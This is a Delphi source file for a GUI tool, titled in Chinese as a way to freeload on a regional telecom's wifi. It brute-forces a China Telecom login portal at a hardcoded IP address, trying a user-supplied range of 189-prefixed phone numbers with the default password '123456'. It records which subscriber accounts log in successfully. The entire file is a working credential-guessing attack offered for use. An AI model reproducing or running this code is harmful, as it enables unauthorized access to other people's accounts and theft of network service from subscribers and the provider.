某地区电信蹭网工具

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ComCtrls, ExtCtrls, OleCtrls, SHDocVw, IdBaseComponent,
IdComponent, IdTCPConnection, IdTCPClient, IdHTTP;

type
TForm1 = class(TForm)
Label1: TLabel;
Label2: TLabel;
Label3: TLabel;
Label4: TLabel;
Label5: TLabel;
Edit1: TEdit;
Edit2: TEdit;
Edit3: TEdit;
Button1: TButton;
Button2: TButton;
ListView1: TListView;
Memo1: TMemo;
Panel1: TPanel;
Label6: TLabel;
Label7: TLabel;
WebBrowser1: TWebBrowser;
Label8: TLabel;
procedure FormCreate(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

uses TLHelp32, IdMultipartFormData;

var
SuccessNum: Integer;
Count: Integer;
StartNum: Integer;
OverNum: Integer;
TelPhone: Integer;
Tel: String;
Delay: Integer;
Stop: Integer;
item: TListItem;
ActionUrl: String;

{ 进程存在性检测函数 }
function FindProcess(AFileName: string): boolean;
var
hSnapshot: THandle; // 用于获得进程列表
lppe: TProcessEntry32; // 用于查找进程
Found: boolean; // 用于判断进程遍历是否完成
begin
Result := False;
hSnapshot := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // 获得系统进程列表
lppe.dwSize := SizeOf(TProcessEntry32); // 在调用Process32First   API之前，需要初始化lppe记录的大小
Found := Process32First(hSnapshot, lppe); // 将进程列表的第一个进程信息读入ppe记录中
while Found do
begin
if ((UpperCase(ExtractFileName(lppe.szExeFile)) = UpperCase(AFileName)) or
(UpperCase(lppe.szExeFile) = UpperCase(AFileName))) then
begin
Result := True;
end;
Found := Process32Next(hSnapshot, lppe); // 将进程列表的下一个进程信息读入lppe记录中
end;
end;

{ 结束进程函数 }
procedure EndProcess(AFileName: string);
const
PROCESS_TERMINATE = $0001;
var
ExeFileName: String;
ContinueLoop: BOOL;
FSnapshotHandle: THandle;
FProcessEntry32: TProcessEntry32;
begin
ExeFileName := AFileName;
FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
FProcessEntry32.dwSize := SizeOf(FProcessEntry32);
ContinueLoop := Process32First(FSnapshotHandle, FProcessEntry32);
while Integer(ContinueLoop) <> 0 do
begin
if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) = UpperCase
(ExeFileName)) or (UpperCase(FProcessEntry32.szExeFile) = UpperCase
(ExeFileName))) then
TerminateProcess(OpenProcess(PROCESS_TERMINATE, BOOL(0),
FProcessEntry32.th32ProcessID), 0);
ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32);
end;
end;

{ 延迟函数 }
procedure TimeStop(msecs: Integer);
var
Tick: DWord;
Event: THandle;
begin
Event := CreateEvent(nil, False, False, nil);
try
Tick := GetTickCount + DWord(msecs);
while (msecs > 0) and (MsgWaitForMultipleObjects(1, Event, False, msecs,
QS_ALLINPUT) <> WAIT_TIMEOUT) do
begin
Application.ProcessMessages;
msecs := Tick - GetTickCount;
end;
finally
CloseHandle(Event);
end;
end;

{ 猜测函数 }
procedure ChechTel(TelPhone: Integer);
begin
// ShowMessage(IntToStr(Telphone));

{Post}
Tel := 'http://219.150.59.241:80/login.do?username=189' + IntToStr(Telphone) + '&&passwd=123456&&postfix=@cw.xz.chntel.com&&address=xz&&areacode=ln&&browser=1&&loginvalue=1&&basePath=http%3A%2F%2F219.150.59.241%3A80%2F&&language=cn';
Form1.WebBrowser1.Navigate(Tel);

Form1.Label8.Caption := Tel;
{ 延迟 }
TimeStop(Delay);

{ 判断是否登录成功 }
if FindProcess('wifiTray.dll') then
begin
item := Form1.ListView1.Items.Add;
item.Caption := '189' + IntToStr(TelPhone);
item.SubItems.Add('Success');

Form1.Memo1.Lines.Add('Find a Telphone Login Success : 189' + IntToStr
(TelPhone));

{ 结束进程 }
EndProcess('wifiTray.dll');

{ 计数器加加 }
SuccessNum := SuccessNum + 1;
end
else
begin
item := Form1.ListView1.Items.Add;
item.Caption := '189' + IntToStr(TelPhone);
item.SubItems.Add('Fail');
end;

end;

{ 处理号码段 }
procedure TForm1.Button1Click(Sender: TObject);
var
Num: Integer;
begin
{ 初始化计数器 }
SuccessNum := 0;
Stop := 0;

{ 取得开始和结束号码 }
StartNum := StrToInt(Edit1.Text);
OverNum := StrToInt(Edit2.Text);

{ 取得号码段总数 }
if OverNum < StartNum then
begin
ShowMessage('Are You Ok? Guys!');
end
else
begin
Count := OverNum - StartNum + 1;
end;

{ 初始电话号码 }
TelPhone := StartNum;

{ 取得延迟时间 }
Delay := StrToInt(Edit3.Text);

{ 清空控件 }
ListView1.Items.Clear;
Memo1.Clear;

{ 检测是否已经断网 }
if FindProcess('wifiTray.dll') then
begin
ShowMessage('Please Disconnect Your Wifi Net!');
end
else
begin
Memo1.Lines.Add('Checking...');

{ 循环猜测 }
for Num := 0 to Count - 1 do
begin
if Stop = 0 then
begin
ChechTel(TelPhone);
{ 电话号码递增 }
TelPhone := TelPhone + 1;
end
else
begin
{ Stop }
end;
end;
end;

{ 统计结果 }
Memo1.Lines.Add('All Done!');
Memo1.Lines.Add('Find ' + IntToStr(SuccessNum) + ' Result(s)');

end;

{ 停止工作 }
procedure TForm1.Button2Click(Sender: TObject);
begin
Stop := 1;
Memo1.Lines.Add('Stoping...');
end;

{ 程序初始化 }
procedure TForm1.FormCreate(Sender: TObject);
var
column: TListColumn;
begin

column := ListView1.Columns.Add;
column.Width := 280;
column.Caption := 'Telphone';
column := ListView1.Columns.Add;
column.Width := 105;
column.Caption := 'Status';

ListView1.Align := alTop;
ListView1.ViewStyle := vsReport;
ListView1.GridLines := True; { 非默认 }
ListView1.ShowColumnHeaders := True; { 默认 }

ActionUrl := 'http://219.150.59.241:80/login.do';

end;

end.